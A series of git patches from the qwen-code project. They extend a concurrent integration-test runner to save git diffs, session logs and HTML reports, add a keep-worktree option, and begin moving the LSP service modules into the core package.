datetime from enum import Enum from pathlib import Path -from typing import List, Optional, Dict, Any +from typing import List, Optional, Dict, Any, Tuple from rich.console import Console from rich.live import Live @@ -90,9 +90,10 @@ class RunRecord: ended_at: Optional[str] = None exit_code: Optional[int] = None error_message: Optional[str] = None - stdout_file: Optional[str] = None # Deprecated: kept for backwards compatibility - stderr_file: Optional[str] = None # Deprecated: kept for backwards compatibility prompt_results: List[PromptResult] = field(default_factory=list) + diff_file: Optional[str] = None # Path to git diff output + session_log_file: Optional[str] = None # Path to session log (chat recording) + session_id: Optional[str] = None # Session ID (UUID from chat recording) def to_dict(self) -> Dict[str, Any]: return { @@ -108,8 +109,9 @@ class RunRecord: "ended_at": self.ended_at, "exit_code": self.exit_code, "error_message": self.error_message, - "stdout_file": self.stdout_file, - "stderr_file": self.stderr_file, + "diff_file": self.diff_file, + "session_log_file": self.session_log_file, + "session_id": self.session_id, "prompt_results": [ { "prompt_index": r.prompt_index, @@ -138,8 +140,9 @@ class RunRecord: ended_at=data.get("ended_at"), exit_code=data.get("exit_code"), error_message=data.get("error_message"), - stdout_file=data.get("stdout_file"), - stderr_file=data.get("stderr_file"), + diff_file=data.get("diff_file"), + session_log_file=data.get("session_log_file"), + session_id=data.get("session_id"), ) @@ -250,9 +253,86 @@ class GitWorktreeManager: except Exception: pass + async def get_diff(self, worktree_dir: Path) -> str: + """Get git diff showing all changes in the worktree.""" + self.console.print(f"[dim]Capturing git diff from {worktree_dir.name}...[/dim]") + + # First, stage all changes (including untracked files) so we can get a complete diff + await self._run_command(["git", "add", "-A"], cwd=worktree_dir) + + # Get the diff (staged changes) + result = await self._run_command(["git", "diff", "--cached", "--no-color"], cwd=worktree_dir) + + if result.returncode != 0: + self.console.print(f"[yellow]Warning: Failed to get diff: {result.stderr}[/yellow]") + return "" + + return result.stdout + + async def collect_session_log(self, worktree_dir: Path, output_dir: Path) -> Optional[Tuple[Path, str]]: + """Collect the session log file from the worktree's chat recording. + + Session logs are stored at: + ~/.qwen/projects/{projectId}/chats/{sessionId}.jsonl + + Where projectId is the sanitized worktree path. + + Returns: + Tuple of (output_path, session_id) or None if not found. + """ + import re + + # Compute projectId by sanitizing the worktree path (same as storage.ts) + project_id = re.sub(r'[^a-zA-Z0-9]', '-', str(worktree_dir)) + + # Build the chats directory path + qwen_dir = Path.home() / ".qwen" + chats_dir = qwen_dir / "projects" / project_id / "chats" + + if not chats_dir.exists(): + self.console.print(f"[dim]No chats directory found at {chats_dir}[/dim]") + return None + + # Find all .jsonl files in the chats directory + jsonl_files = list(chats_dir.glob("*.jsonl")) + if not jsonl_files: + self.console.print(f"[dim]No session log files found in {chats_dir}[/dim]") + return None + + # Get the most recently modified file (the one just created) + session_log = max(jsonl_files, key=lambda f: f.stat().st_mtime) + + # Extract session ID from filename (remove .jsonl extension) + session_id = session_log.stem + + # Copy to output directory with original filename (preserves session ID) + # Place in 'chats' subdir to match the actual session log structure + chats_output_dir = output_dir / "chats" + chats_output_dir.mkdir(parents=True, exist_ok=True) + output_log = chats_output_dir / session_log.name + + # Read the original file, modify cwd field, and write to output + # cwd should be the actual current working dir (where runner is executed) + actual_cwd = str(Path.cwd()) + async with aiofiles.open(session_log, 'r') as src, aiofiles.open(output_log, 'w') as dst: + async for line in src: + line = line.strip() + if line: + try: + record = json.loads(line) + record['cwd'] = actual_cwd + await dst.write(json.dumps(record, ensure_ascii=False) + '\n') + except json.JSONDecodeError: + # If line is not valid JSON, write it as-is + await dst.write(line + '\n') + + self.console.print(f"[dim]Session log copied: {session_log.name}[/dim]") + + return output_log, session_id + async def _run_command( - self, - cmd: List[str], + self, + cmd: List[str], cwd: Optional[Path] = None, timeout: int = 60 ) -> subprocess.CompletedProcess: @@ -491,7 +571,7 @@ class QwenRunner: raise ValueError(f"No prompts found for task {run.task_id}") # Setup logs directory - run_logs_dir = (output_dir / "logs").resolve() + run_logs_dir = (output_dir / "openai-logs").resolve() run_logs_dir.mkdir(parents=True, exist_ok=True) run.logs_dir = str(run_logs_dir) @@ -668,9 +748,46 @@ async def execute_single_run( ended_at=run.ended_at, ) console.print(f"[red]✗[/red] {run.task_name} / {run.model}: {e}") - + finally: - # Step 5: Cleanup + # Step 5: Capture git diff (before cleanup) + output_dir = config.outputs_dir / run.run_id + output_dir.mkdir(parents=True, exist_ok=True) + + if worktree_dir and worktree_dir.exists(): + try: + diff_content = await worktree_manager.get_diff(worktree_dir) + if diff_content.strip(): + diff_file = output_dir / "diff.patch" + async with aiofiles.open(diff_file, 'w') as f: + await f.write(diff_content) + run.diff_file = str(diff_file) + console.print(f"[dim]Diff saved to {diff_file}[/dim]") + except Exception as e: + console.print(f"[yellow]Warning: Failed to capture diff: {e}[/yellow]") + + # Step 6: Collect session log (before cleanup) + if worktree_dir: + try: + result = await worktree_manager.collect_session_log(worktree_dir, output_dir) + if result: + session_log, session_id = result + run.session_log_file = str(session_log) + run.session_id = session_id + console.print(f"[dim]Session log saved: {session_log.name} (ID: {session_id})[/dim]") + except Exception as e: + console.print(f"[yellow]Warning: Failed to collect session log: {e}[/yellow]") + + # Update tracker with all captured files + await tracker.update_status( + run.run_id, + run.status, + diff_file=run.diff_file, + session_log_file=run.session_log_file, + session_id=run.session_id, + ) + + # Step 7: Cleanup if worktree_dir: await worktree_manager.remove(worktree_dir) From 09d4627a3db8e0b42f775ab0a41b7c689fda2d48 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 15:29:11 +0800 Subject: [PATCH 67/79] feat: move output files to outputs/ subdirectory for cleaner structure - Move output-{N}.json and stderr-{N}.txt to outputs/ subdirectory - Fix typo in toy-config.json results_file path (rest-run -> test-run) - Add --output-format json to CLI commands - Update file extensions from .txt to .json for stdout captures Co-authored-by: Qwen-Coder --- .../concurrent-runner/examples/toy-config.json | 4 ++-- integration-tests/concurrent-runner/runner.py | 11 +++++++++-- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/integration-tests/concurrent-runner/examples/toy-config.json b/integration-tests/concurrent-runner/examples/toy-config.json index c7ba28be9..80f7a3c54 100644 --- a/integration-tests/concurrent-runner/examples/toy-config.json +++ b/integration-tests/concurrent-runner/examples/toy-config.json @@ -3,8 +3,8 @@ "yolo": true, "source_repo": "/Users/andy/workspace/projects/qwen-code/integration-tests/concurrent-runner/examples/toy-project", "worktree_base": "~/.qwen/worktrees", - "outputs_dir": "./examples/outputs", - "results_file": "./examples/results.json", + "outputs_dir": "./examples/test-run", + "results_file": "./examples/test-run/results.json", "tasks": [ { "id": "task-1", diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 43e00bace..4724b176e 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -575,6 +575,10 @@ class QwenRunner: run_logs_dir.mkdir(parents=True, exist_ok=True) run.logs_dir = str(run_logs_dir) + # Create outputs subdirectory for cleaner structure + outputs_subdir = output_dir / "outputs" + outputs_subdir.mkdir(parents=True, exist_ok=True) + # Run each prompt sequentially for prompt_index, prompt_text in enumerate(task.prompts, start=1): self.console.print(f"[blue]Executing prompt {prompt_index}/{len(task.prompts)}...[/blue]") @@ -584,8 +588,8 @@ class QwenRunner: self.console.print(f"[dim]Command: {' '.join(cmd)}[/dim]") # Prepare output files for this prompt - stdout_file = output_dir / f"stdout-{prompt_index}.txt" - stderr_file = output_dir / f"stderr-{prompt_index}.txt" + stdout_file = outputs_subdir / f"output-{prompt_index}.json" + stderr_file = outputs_subdir / f"stderr-{prompt_index}.txt" # Run the CLI env = os.environ.copy() @@ -651,6 +655,9 @@ class QwenRunner: if self.config.yolo: cmd.append("--yolo") + # Use JSON output format + cmd.extend(["--output-format", "json"]) + # Always enable OpenAI logging to run-specific logs directory cmd.append("--openai-logging") cmd.extend(["--openai-logging-dir", run.logs_dir]) From 0c1848896ac98a2c9f29a553f99ca4e47d000a8d Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 15:47:14 +0800 Subject: [PATCH 68/79] Revert: use text output format instead of JSON - Remove --output-format json from CLI commands - Change output filenames from output-{N}.json back to stdout-{N}.txt - Keep outputs in outputs/ subdirectory for clean structure Co-authored-by: Qwen-Coder --- integration-tests/concurrent-runner/runner.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 4724b176e..4c1a82e90 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -588,7 +588,7 @@ class QwenRunner: self.console.print(f"[dim]Command: {' '.join(cmd)}[/dim]") # Prepare output files for this prompt - stdout_file = outputs_subdir / f"output-{prompt_index}.json" + stdout_file = outputs_subdir / f"stdout-{prompt_index}.txt" stderr_file = outputs_subdir / f"stderr-{prompt_index}.txt" # Run the CLI @@ -655,9 +655,6 @@ class QwenRunner: if self.config.yolo: cmd.append("--yolo") - # Use JSON output format - cmd.extend(["--output-format", "json"]) - # Always enable OpenAI logging to run-specific logs directory cmd.append("--openai-logging") cmd.extend(["--openai-logging-dir", run.logs_dir]) From 3f16948225c7c6e4d9a452f31994fb14c2f700d2 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 16:43:50 +0800 Subject: [PATCH 69/79] feat: remove npm install/build and add keep_worktree option - Remove npm install and npm run build from worktree initialization - Remove INITIALIZING status enum and related code - Add keep_worktree config option (default: false) - When keep_worktree is true, worktree is preserved for debugging - Renumber execution steps after removing initialize step Co-authored-by: Qwen-Coder --- .../examples/toy-config.json | 1 + integration-tests/concurrent-runner/runner.py | 42 +++++-------------- 2 files changed, 11 insertions(+), 32 deletions(-) diff --git a/integration-tests/concurrent-runner/examples/toy-config.json b/integration-tests/concurrent-runner/examples/toy-config.json index 80f7a3c54..2539fa161 100644 --- a/integration-tests/concurrent-runner/examples/toy-config.json +++ b/integration-tests/concurrent-runner/examples/toy-config.json @@ -5,6 +5,7 @@ "worktree_base": "~/.qwen/worktrees", "outputs_dir": "./examples/test-run", "results_file": "./examples/test-run/results.json", + "keep_worktree": false, "tasks": [ { "id": "task-1", diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 4c1a82e90..927e16e51 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -35,7 +35,6 @@ class RunStatus(Enum): """Execution status for a single run.""" QUEUED = "queued" PREPARING = "preparing" - INITIALIZING = "initializing" RUNNING = "running" SUCCEEDED = "succeeded" FAILED = "failed" @@ -62,6 +61,7 @@ class RunConfig: outputs_dir: Path = field(default_factory=lambda: Path("./outputs")) results_file: Path = field(default_factory=lambda: Path("./results.json")) branch: Optional[str] = None # Git branch to checkout (uses default if not set) + keep_worktree: bool = False # If true, don't remove git worktree after run @dataclass @@ -213,27 +213,6 @@ class GitWorktreeManager: return worktree_dir - async def initialize(self, worktree_dir: Path) -> None: - """Initialize the worktree by running npm install and npm run build.""" - # npm install - self.console.print(f"[dim]Running npm install in {worktree_dir.name}...[/dim]") - install_result = await self._run_command( - ["npm", "install"], - cwd=worktree_dir, - timeout=300 - ) - if install_result.returncode != 0: - raise RuntimeError(f"npm install failed: {install_result.stderr}") - - # npm run build - self.console.print(f"[dim]Running npm run build in {worktree_dir.name}...[/dim]") - build_result = await self._run_command( - ["npm", "run", "build"], - cwd=worktree_dir, - timeout=300 - ) - if build_result.returncode != 0: - raise RuntimeError(f"npm run build failed: {build_result.stderr}") async def remove(self, worktree_dir: Path) -> None: """Remove a git worktree.""" @@ -423,7 +402,7 @@ class StatusTracker: def get_active_runs(self) -> List[RunRecord]: """Get currently active runs.""" - active_statuses = {RunStatus.PREPARING, RunStatus.INITIALIZING, RunStatus.RUNNING} + active_statuses = {RunStatus.PREPARING, RunStatus.RUNNING} return [r for r in self._runs.values() if r.status in active_statuses] @@ -724,16 +703,12 @@ async def execute_single_run( run.worktree_path = str(worktree_dir) run.started_at = datetime.now().isoformat() - # Step 2: Initialize (npm install + build) - await tracker.update_status(run.run_id, RunStatus.INITIALIZING) - await worktree_manager.initialize(worktree_dir) - - # Step 3: Run CLI + # Step 2: Run CLI await tracker.update_status(run.run_id, RunStatus.RUNNING) output_dir = config.outputs_dir / run.run_id await qwen_runner.run(run, worktree_dir, output_dir) - # Step 4: Success + # Step 3: Success run.ended_at = datetime.now().isoformat() await tracker.update_status( run.run_id, @@ -754,7 +729,7 @@ async def execute_single_run( console.print(f"[red]✗[/red] {run.task_name} / {run.model}: {e}") finally: - # Step 5: Capture git diff (before cleanup) + # Step 4: Capture git diff (before cleanup) output_dir = config.outputs_dir / run.run_id output_dir.mkdir(parents=True, exist_ok=True) @@ -770,7 +745,7 @@ async def execute_single_run( except Exception as e: console.print(f"[yellow]Warning: Failed to capture diff: {e}[/yellow]") - # Step 6: Collect session log (before cleanup) + # Step 5: Collect session log (before cleanup) if worktree_dir: try: result = await worktree_manager.collect_session_log(worktree_dir, output_dir) @@ -793,7 +768,10 @@ async def execute_single_run( # Step 7: Cleanup if worktree_dir: - await worktree_manager.remove(worktree_dir) + if config.keep_worktree: + console.print(f"[dim]Keeping worktree: {worktree_dir}[/dim]") + else: + await worktree_manager.remove(worktree_dir) async def run_all(config: RunConfig, console: Console) -> ExecutionState: From acf5824a65065f4214f759e8b60984764339db2d Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Wed, 28 Jan 2026 17:25:29 +0800 Subject: [PATCH 70/79] fix: resolve worktree paths and load keep_worktree from config - Resolve worktree_dir to absolute path before using as cwd and QWEN_CODE_ROOT - Load keep_worktree option from JSON config in load_config() Co-authored-by: Qwen-Coder --- integration-tests/concurrent-runner/runner.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 927e16e51..9d3a0613f 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -572,11 +572,12 @@ class QwenRunner: # Run the CLI env = os.environ.copy() - env["QWEN_CODE_ROOT"] = str(worktree_dir) + worktree_dir_resolved = worktree_dir.resolve() + env["QWEN_CODE_ROOT"] = str(worktree_dir_resolved) proc = await asyncio.create_subprocess_exec( *cmd, - cwd=worktree_dir, + cwd=worktree_dir_resolved, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, env=env, @@ -681,6 +682,7 @@ def load_config(config_path: Path) -> RunConfig: outputs_dir=Path(data.get("outputs_dir", "./outputs")), results_file=Path(data.get("results_file", "./results.json")), branch=data.get("branch"), + keep_worktree=data.get("keep_worktree", False), ) From 021680cd70c0898be44956a74090a06daf8742e1 Mon Sep 17 00:00:00 2001 From: pomelo-nwu Date: Wed, 28 Jan 2026 19:56:20 +0800 Subject: [PATCH 71/79] feat: add html template --- .gitignore | 5 +- .../concurrent-runner/render-chat-temp.html | 277 ++++++++++++++++++ integration-tests/concurrent-runner/runner.py | 200 ++++++++++++- 3 files changed, 475 insertions(+), 7 deletions(-) create mode 100644 integration-tests/concurrent-runner/render-chat-temp.html diff --git a/.gitignore b/.gitignore index e0e0488ae..f86d82547 100644 --- a/.gitignore +++ b/.gitignore @@ -65,4 +65,7 @@ docs-site/.next docs-site/content # python cache -__pycache__/ \ No newline at end of file +__pycache__/ + +integration-tests/concurrent-runner/output/ +integration-tests/concurrent-runner/task-* \ No newline at end of file diff --git a/integration-tests/concurrent-runner/render-chat-temp.html b/integration-tests/concurrent-runner/render-chat-temp.html new file mode 100644 index 000000000..5f33eaf69 --- /dev/null +++ b/integration-tests/concurrent-runner/render-chat-temp.html @@ -0,0 +1,277 @@ + + + + + + + Qwen Code Chat Export + + + + + + + + + + + + + + + + + +
+
+
+

Qwen Code Export

+
+
+
+ Session Id + - +
+
+ Export Time + - +
+
+
+ +
+
+ + + + + + + diff --git a/integration-tests/concurrent-runner/runner.py b/integration-tests/concurrent-runner/runner.py index 9d3a0613f..32a81e2ad 100644 --- a/integration-tests/concurrent-runner/runner.py +++ b/integration-tests/concurrent-runner/runner.py @@ -9,6 +9,7 @@ the Qwen CLI in parallel with status tracking and output capture. from __future__ import annotations import argparse +import html import asyncio import json import os @@ -93,6 +94,7 @@ class RunRecord: prompt_results: List[PromptResult] = field(default_factory=list) diff_file: Optional[str] = None # Path to git diff output session_log_file: Optional[str] = None # Path to session log (chat recording) + session_html_file: Optional[str] = None # Path to rendered chat HTML session_id: Optional[str] = None # Session ID (UUID from chat recording) def to_dict(self) -> Dict[str, Any]: @@ -111,6 +113,7 @@ class RunRecord: "error_message": self.error_message, "diff_file": self.diff_file, "session_log_file": self.session_log_file, + "session_html_file": self.session_html_file, "session_id": self.session_id, "prompt_results": [ { @@ -142,6 +145,7 @@ class RunRecord: error_message=data.get("error_message"), diff_file=data.get("diff_file"), session_log_file=data.get("session_log_file"), + session_html_file=data.get("session_html_file"), session_id=data.get("session_id"), ) @@ -248,7 +252,7 @@ class GitWorktreeManager: return result.stdout - async def collect_session_log(self, worktree_dir: Path, output_dir: Path) -> Optional[Tuple[Path, str]]: + async def collect_session_log(self, worktree_dir: Path, output_dir: Path) -> Optional[Tuple[Path, str, Path]]: """Collect the session log file from the worktree's chat recording. Session logs are stored at: @@ -257,7 +261,7 @@ class GitWorktreeManager: Where projectId is the sanitized worktree path. Returns: - Tuple of (output_path, session_id) or None if not found. + Tuple of (output_path, session_id, rendered_html_path) or None if not found. """ import re @@ -293,6 +297,8 @@ class GitWorktreeManager: # Read the original file, modify cwd field, and write to output # cwd should be the actual current working dir (where runner is executed) actual_cwd = str(Path.cwd()) + messages = [] + start_time = None async with aiofiles.open(session_log, 'r') as src, aiofiles.open(output_log, 'w') as dst: async for line in src: line = line.strip() @@ -300,6 +306,9 @@ class GitWorktreeManager: try: record = json.loads(line) record['cwd'] = actual_cwd + messages.append(record) + if not start_time and 'time' in record: + start_time = record['time'] await dst.write(json.dumps(record, ensure_ascii=False) + '\n') except json.JSONDecodeError: # If line is not valid JSON, write it as-is @@ -307,7 +316,38 @@ class GitWorktreeManager: self.console.print(f"[dim]Session log copied: {session_log.name}[/dim]") - return output_log, session_id + # Generate rendered HTML + rendered_html_path = chats_output_dir / f"{session_id}.html" + try: + template_path = Path(__file__).parent / "render-chat-temp.html" + if template_path.exists(): + async with aiofiles.open(template_path, 'r') as f: + template_content = await f.read() + + chat_data = { + "sessionId": session_id, + "startTime": start_time or datetime.now().isoformat(), + "messages": messages + } + + # Simple string replacement for injection + # The template has + placeholder = ' to prevent breaking the HTML script tag + json_str = json_str.replace('', '<\\/script>') + injection = f'{placeholder}\n{json_str}\n' + rendered_content = template_content.replace(placeholder, injection) + + async with aiofiles.open(rendered_html_path, 'w') as f: + await f.write(rendered_content) + self.console.print(f"[dim]Rendered chat HTML saved: {rendered_html_path.name}[/dim]") + else: + self.console.print(f"[yellow]Warning: Chat template not found at {template_path}[/yellow]") + except Exception as e: + self.console.print(f"[yellow]Warning: Failed to render chat HTML: {e}[/yellow]") + + return output_log, session_id, rendered_html_path async def _run_command( self, @@ -372,19 +412,165 @@ class StatusTracker: await self._persist() async def _persist(self) -> None: - """Persist current state to JSON file.""" + """Persist current state to JSON file and generate HTML report.""" data = { "updated_at": datetime.now().isoformat(), "runs": [run.to_dict() for run in self._runs.values()], } - # Write atomically + # Write JSON atomically temp_file = self.results_file.with_suffix('.tmp') async with aiofiles.open(temp_file, 'w') as f: await f.write(json.dumps(data, indent=2)) temp_file.replace(self.results_file) + # Generate HTML report + await self._generate_html(data) + + async def _generate_html(self, data: Dict[str, Any]) -> None: + """Generate a beautiful HTML report.""" + html_file = self.results_file.with_name("index.html") + + # Calculate summary + total = len(data["runs"]) + succeeded = sum(1 for r in data["runs"] if r["status"] == "succeeded") + failed = sum(1 for r in data["runs"] if r["status"] == "failed") + running = sum(1 for r in data["runs"] if r["status"] in ["preparing", "running"]) + + # Build rows + rows = [] + for run in sorted(data["runs"], key=lambda x: x.get("started_at") or "", reverse=True): + status = run["status"] + status_class = f"status-{status}" + + # Links + links = [] + + # Output Directory + if run.get("output_dir"): + # Make path absolute for local viewing + abs_output_dir = os.path.abspath(run["output_dir"]) + links.append(f'Outputs') + + # Diff File + if run.get("diff_file"): + abs_diff_file = os.path.abspath(run["diff_file"]) + links.append(f'Diff') + + # Session Log + if run.get("session_html_file"): + abs_session_html = os.path.abspath(run["session_html_file"]) + links.append(f'Chat') + elif run.get("session_log_file"): + abs_session_log = os.path.abspath(run["session_log_file"]) + links.append(f'Chat (Raw)') + + # Worktree + if run.get("worktree_path"): + abs_worktree = os.path.abspath(run["worktree_path"]) + links.append(f'Worktree') + + # Prompt results (stdout/stderr) + prompt_links = [] + for i, p in enumerate(run.get("prompt_results", []), 1): + p_links = [] + if p.get("stdout_file"): + p_links.append(f'out') + if p.get("stderr_file"): + p_links.append(f'err') + + if p_links: + prompt_links.append(f'P{i}: {"|".join(p_links)}') + + links_html = " | ".join(links) + prompts_html = "
".join(prompt_links) + + duration = "N/A" + if run.get("started_at") and run.get("ended_at"): + try: + start = datetime.fromisoformat(run["started_at"]) + end = datetime.fromisoformat(run["ended_at"]) + duration = f"{(end - start).total_seconds():.1f}s" + except: pass + + error_msg = f'
{html.escape(run["error_message"])}
' if run.get("error_message") else "" + + rows.append(f""" + + {run["run_id"]} + {html.escape(run["task_name"])} + {html.escape(run["model"])} + {status} + {duration} + {links_html} + {prompts_html} + {error_msg} + + """) + + html_content = f""" + + + + Qwen Runner Report + + + +

Qwen Runner Execution Report

+
+

Total

{total}
+

Succeeded

{succeeded}
+

Failed

{failed}
+

Running

{running}
+
+ + + + + + + + + + + + + + + {"".join(rows)} + +
IDTaskModelStatusDurationLogs & ArtifactsPromptsError
+
+ Updated at: {data["updated_at"]} +
+ +""" + + async with aiofiles.open(html_file, 'w') as f: + await f.write(html_content) + def get_state(self) -> ExecutionState: """Get current execution state.""" runs = list(self._runs.values()) @@ -752,8 +938,9 @@ async def execute_single_run( try: result = await worktree_manager.collect_session_log(worktree_dir, output_dir) if result: - session_log, session_id = result + session_log, session_id, session_html = result run.session_log_file = str(session_log) + run.session_html_file = str(session_html) run.session_id = session_id console.print(f"[dim]Session log saved: {session_log.name} (ID: {session_id})[/dim]") except Exception as e: @@ -765,6 +952,7 @@ async def execute_single_run( run.status, diff_file=run.diff_file, session_log_file=run.session_log_file, + session_html_file=run.session_html_file, session_id=run.session_id, ) From 0dde6ce3ce86b0ad9d1bfeea1e54ef0b6b4d119e Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Thu, 29 Jan 2026 00:54:59 +0800 Subject: [PATCH 72/79] refactor(lsp): restructure the LSP service import and test configuration --- packages/cli/src/config/config.test.ts | 25 +-- packages/cli/src/config/config.ts | 8 +- packages/cli/src/services/lsp/LspTypes.ts | 205 ------------------ .../core/__snapshots__/prompts.test.ts.snap | 195 ----------------- packages/core/src/core/prompts.ts | 13 -- packages/core/src/index.ts | 8 + .../src}/lsp/LspConfigLoader.test.ts | 16 +- .../src}/lsp/LspConfigLoader.ts | 24 +- .../src}/lsp/LspConnectionFactory.ts | 2 +- .../src}/lsp/LspLanguageDetector.ts | 6 +- .../src}/lsp/LspResponseNormalizer.ts | 2 +- .../src}/lsp/LspServerManager.ts | 10 +- .../src}/lsp/NativeLspClient.ts | 4 +- .../lsp/NativeLspService.integration.test.ts | 13 +- .../src}/lsp/NativeLspService.test.ts | 11 +- .../src}/lsp/NativeLspService.ts | 16 +- .../services => core/src}/lsp/constants.ts | 5 +- packages/core/src/lsp/types.ts | 162 ++++++++++++++ packages/core/src/tools/lsp.ts | 2 +- 19 files changed, 230 insertions(+), 497 deletions(-) delete mode 100644 packages/cli/src/services/lsp/LspTypes.ts rename packages/{cli/src/services => core/src}/lsp/LspConfigLoader.test.ts (82%) rename packages/{cli/src/services => core/src}/lsp/LspConfigLoader.ts (96%) rename packages/{cli/src/services => core/src}/lsp/LspConnectionFactory.ts (99%) rename packages/{cli/src/services => core/src}/lsp/LspLanguageDetector.ts (97%) rename packages/{cli/src/services => core/src}/lsp/LspResponseNormalizer.ts (99%) rename packages/{cli/src/services => core/src}/lsp/LspServerManager.ts (98%) rename packages/{cli/src/services => core/src}/lsp/NativeLspClient.ts (98%) rename packages/{cli/src/services => core/src}/lsp/NativeLspService.integration.test.ts (98%) rename packages/{cli/src/services => core/src}/lsp/NativeLspService.test.ts (90%) rename packages/{cli/src/services => core/src}/lsp/NativeLspService.ts (98%) rename packages/{cli/src/services => core/src}/lsp/constants.ts (96%) diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index 8c71b8d9d..67d3b114b 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -13,12 +13,12 @@ import { WriteFileTool, DEFAULT_QWEN_MODEL, OutputFormat, + NativeLspService, } from '@qwen-code/qwen-code-core'; import { loadCliConfig, parseArguments, type CliArgs } from './config.js'; import type { Settings } from './settings.js'; import * as ServerConfig from '@qwen-code/qwen-code-core'; import { isWorkspaceTrusted } from './trustedFolders.js'; -import { NativeLspService } from '../services/lsp/NativeLspService.js'; const createNativeLspServiceInstance = () => ({ discoverAndPrepare: vi.fn(), @@ -38,26 +38,6 @@ const createNativeLspServiceInstance = () => ({ applyWorkspaceEdit: vi.fn().mockResolvedValue(false), }); -vi.mock('../services/lsp/NativeLspService.js', () => ({ - NativeLspService: vi.fn().mockImplementation(() => ({ - discoverAndPrepare: vi.fn(), - start: vi.fn(), - definitions: vi.fn().mockResolvedValue([]), - references: vi.fn().mockResolvedValue([]), - workspaceSymbols: vi.fn().mockResolvedValue([]), - hover: vi.fn().mockResolvedValue(null), - documentSymbols: vi.fn().mockResolvedValue([]), - implementations: vi.fn().mockResolvedValue([]), - prepareCallHierarchy: vi.fn().mockResolvedValue([]), - incomingCalls: vi.fn().mockResolvedValue([]), - outgoingCalls: vi.fn().mockResolvedValue([]), - diagnostics: vi.fn().mockResolvedValue([]), - workspaceDiagnostics: vi.fn().mockResolvedValue([]), - codeActions: vi.fn().mockResolvedValue([]), - applyWorkspaceEdit: vi.fn().mockResolvedValue(false), - })), -})); - vi.mock('./trustedFolders.js', () => ({ isWorkspaceTrusted: vi .fn() @@ -129,6 +109,9 @@ vi.mock('@qwen-code/qwen-code-core', async (importOriginal) => { const actualServer = await importOriginal(); return { ...actualServer, + NativeLspService: vi + .fn() + .mockImplementation(() => createNativeLspServiceInstance()), IdeClient: { getInstance: vi.fn().mockResolvedValue({ getConnectionStatus: vi.fn(), diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index a6613e73e..26509c141 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -27,6 +27,8 @@ import { EditTool, ShellTool, WriteFileTool, + NativeLspClient, + NativeLspService, } from '@qwen-code/qwen-code-core'; import { extensionsCommand } from '../commands/extensions.js'; import type { Settings } from './settings.js'; @@ -45,8 +47,6 @@ import { getCliVersion } from '../utils/version.js'; import { loadSandboxConfig } from './sandboxConfig.js'; import { appEvents } from '../utils/events.js'; import { mcpCommand } from '../commands/mcp.js'; -import { NativeLspClient } from '../services/lsp/NativeLspClient.js'; -import { NativeLspService } from '../services/lsp/NativeLspService.js'; import { isWorkspaceTrusted } from './trustedFolders.js'; import { buildWebSearchConfig } from './webSearch.js'; @@ -729,9 +729,7 @@ export async function loadCliConfig( await loadHierarchicalGeminiMemory( cwd, - settings.context?.loadMemoryFromIncludeDirectories - ? includeDirectories - : [], + settings.context?.loadFromIncludeDirectories ? includeDirectories : [], debugMode, fileService, extensionContextFilePaths, diff --git a/packages/cli/src/services/lsp/LspTypes.ts b/packages/cli/src/services/lsp/LspTypes.ts deleted file mode 100644 index 55b89cbef..000000000 --- a/packages/cli/src/services/lsp/LspTypes.ts +++ /dev/null @@ -1,205 +0,0 @@ -/** - * @license - * Copyright 2025 Qwen Team - * SPDX-License-Identifier: Apache-2.0 - */ - -/** - * LSP Service Type Definitions - * - * Centralized type definitions for the LSP service modules. - */ - -import type { ChildProcess } from 'node:child_process'; - -// ============================================================================ -// LSP Initialization Options -// ============================================================================ - -/** - * LSP server initialization options passed during the initialize request. - */ -export interface LspInitializationOptions { - [key: string]: unknown; -} - -// ============================================================================ -// LSP Socket Options -// ============================================================================ - -/** - * Socket connection options for TCP or Unix socket transport. - */ -export interface LspSocketOptions { - /** Host address for TCP connections */ - host?: string; - /** Port number for TCP connections */ - port?: number; - /** Path for Unix socket connections */ - path?: string; -} - -// ============================================================================ -// LSP Server Configuration -// ============================================================================ - -/** - * Configuration for an LSP server instance. - */ -export interface LspServerConfig { - /** Unique name identifier for the server */ - name: string; - /** List of languages this server handles */ - languages: string[]; - /** Command to start the server (required for stdio transport) */ - command?: string; - /** Command line arguments */ - args?: string[]; - /** Transport type: stdio, tcp, or socket */ - transport: 'stdio' | 'tcp' | 'socket'; - /** Environment variables for the server process */ - env?: Record; - /** LSP initialization options */ - initializationOptions?: LspInitializationOptions; - /** Server-specific settings */ - settings?: Record; - /** Custom file extension to language mappings */ - extensionToLanguage?: Record; - /** Root URI for the workspace */ - rootUri: string; - /** Workspace folder path */ - workspaceFolder?: string; - /** Startup timeout in milliseconds */ - startupTimeout?: number; - /** Shutdown timeout in milliseconds */ - shutdownTimeout?: number; - /** Whether to restart on crash */ - restartOnCrash?: boolean; - /** Maximum number of restart attempts */ - maxRestarts?: number; - /** Whether trusted workspace is required */ - trustRequired?: boolean; - /** Socket connection options */ - socket?: LspSocketOptions; -} - -// ============================================================================ -// LSP JSON-RPC Message -// ============================================================================ - -/** - * JSON-RPC message format for 